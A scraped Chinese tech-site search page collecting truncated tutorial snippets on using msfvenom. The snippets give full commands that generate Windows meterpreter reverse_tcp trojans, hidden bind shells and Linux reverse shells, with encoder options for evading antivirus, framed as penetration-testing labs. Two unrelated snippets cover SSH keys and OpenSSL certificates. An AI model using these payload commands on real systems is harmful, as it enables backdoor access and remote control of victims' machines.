首页
学习
活动
专区
圈层
工具
发布

msfvenom生成后台木马监听目标(windows渗透测试)

针对windows操作系统的渗透测试 操作过程概况:利用msf生成一个后台木马,使用exploit/multi/handler模块,通过对方打开的形式获取权限,可以进入后渗透对目标进行监听等操作。...实战: 一:后台木马生成 注意在代码中LHOST:172.16.5.2与LPORT:4444 要根据实际情况来更改 LHOST设置为渗透机的ip LPORT设置为监听的端口,端口只要不是已经占用的就可以...msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.16.5.2 LPORT=4444 -f...exe -o /root/shell.exe //生成一个名为shell的木马 二:将木马移动到目标桌面 在root目录下找到我们生成的木马shell.exe然后将木马传到目标桌面 两种方法: 1

3.5K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Msfvenom制作专属Shell

    文章前言 有时候我们上传Shell到目标主机后,不仅我们自己可以连接,其他用户也可以连接,有时候会导致我们丢失该Shell,甚至该shell被用户发现并查杀,本篇文章我们将介绍如何通过Msfvenom来生成用户自己的专属...Shell 实验环境 攻击主机:192.168.174.129 目标主机:192.168.174.170 其他主机:192.168.174.173 操作流程 Step 1:实验MSF生成隐藏Bind Shell...msfvenom -p windows/shell_hidden_bind_tcp LPORT=8889 AHOST=192.168.174.129 -f exe > hidden_shell.exe...文末思考 通过制作类似的专属Shell还有一个好处就是当你在内网渗透测试过程中拿下一台跳板机时,你可以利用这台跳板机生成一个正向木马并将其丢到内网的其他机器里面,之后随时可以通过Telnet获取到目标的

    1.1K50

    Msfvenom后门重新学习与分析-windows篇

    Msfvenom 是msf框架配套的攻击载荷生成器。...什么是攻击荷载: Payload:目标系统上渗透成功后执行的代码 msfvenom命令行选项如下: 使用如下命令可以查看恶意代码详细信息: Info 荷载/编码/指令 下面我们逐条分析命令的使用 1)-...x86/shikata_ga_nai,无法反弹shell,需要多实验不同系统,次编码跨平台 6)-a, - -arch 的架构使用 - -platform 有效载荷的平台 msfvenom.../a.exe 7) -s,--space 所得有效负载的最大尺寸,简单说就是生成的后门的字节数。...(用于绕过防火墙和免杀,不过有一点疑问,我自己定义了字节数,生成的后门是73802字节,而不是我个人设定的80000字节,可能需要分析生成的后门代码,需要进一步实战中分析) 成功显示: 规定的字节数不够提示

    1.5K80

    Msfvenom后门重新学习与分析-windows篇

    Msfvenom 是msf框架配套的攻击载荷生成器。...什么是攻击荷载: Payload:目标系统上渗透成功后执行的代码 msfvenom命令行选项如下: 使用如下命令可以查看恶意代码详细信息: Info 荷载/编码/指令 下面我们逐条分析命令的使用 1)-...x86/shikata_ga_nai,无法反弹shell,需要多实验不同系统,次编码跨平台 6)-a, - -arch 的架构使用 - -platform 有效载荷的平台 msfvenom.../a.exe 7) -s,--space 所得有效负载的最大尺寸,简单说就是生成的后门的字节数。...(用于绕过防火墙和免杀,不过有一点疑问,我自己定义了字节数,生成的后门是73802字节,而不是我个人设定的80000字节,可能需要分析生成的后门代码,需要进一步实战中分析) 成功显示: 规定的字节数不够提示

    2.5K90

    生成msf常用payload

    生成payload使用的工具是MSFVenom,下面看看他的帮助信息。 在kali下可以使用如下命令列出MSFVenom可以生成的payload列表: msfvenom -l ?...生成二进制文件 关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。...On> -f exe > shell.exe Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT...webshell脚本 在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell呢?...总结 本文的主要内容是关于使用msfvenom生成常用的反向连接的shell,msfvenom可以生成的shell很多,不可能一一列举,这里只是提一下,不好意思又给大家分享了一个水文,请大家凑活看看,有什么建议和意见请下方留言

    2.4K00

    linux下生成key

    linux下生成key 使用public/private key让putty(ssh)自动登录(以及linux上使用密钥做ssh自动登陆)  方法一:使用puttygen.exe  第一步:生成密匙 ...但是如果希望这个private key使用在linux主机上,不用密码登陆上放有public key的主机上,  那么:  第四步:linux private key设置  (运行puttygen.exe...-t 密匙类型  密匙类型可以是:rsa1 (对应SSH1 RSA)、rsa 和 dsa (对应SSH2)  如:  $ ssh-keygen -b 1024 -t rsa  默认在~/.ssh下会生成...第二步:设置linux主机  把id_rsa.pub 复制为authorized_keys,放在需要登陆的linux主机的~/.ssh目录下  $ scp id_ras.pub hostname1:/home...用户名:scp id_ras.pub username@hostname1:/home/username/.ssh/authorized_keys)  如果想使用putty,因为ssh-keygen生成的

    2.7K70

    openssl生成证书linux,Linux下使用openssl生成证书「建议收藏」

    利用OpenSSL生成库和命令程序,在生成的命令程序中包括对加/解密算法的测试,openssl程序,ca程序.利用openssl,ca可生成用于C/S模式的证书文件以及CA文件....证书文件的生成步骤: 一、服务器端1.生成服务器端的私钥(key文件); openssl genrsa -des3 -out server.key 1024 运行时会提示输入密码,此密码用于加密key文件...(csr文件); openssl req -new -key server.key -out server.csr 生成Certificate Signing Request(CSR),生成的csr文件交给...openssl.c*” cp /usr/local/ssl/openssl.cnf ./ 错误2: 解决方法 touch demoCA/serial echo “00” > demoCA/serial linux...-1.0.2a-i386-win32.zip 64位:openssl-1.0.2a-x64_86-win64.zip 下载之后解压即可 … linux下利用openssl来实现证书的颁发(详细步骤)–转载和修改

    8.7K10
    领券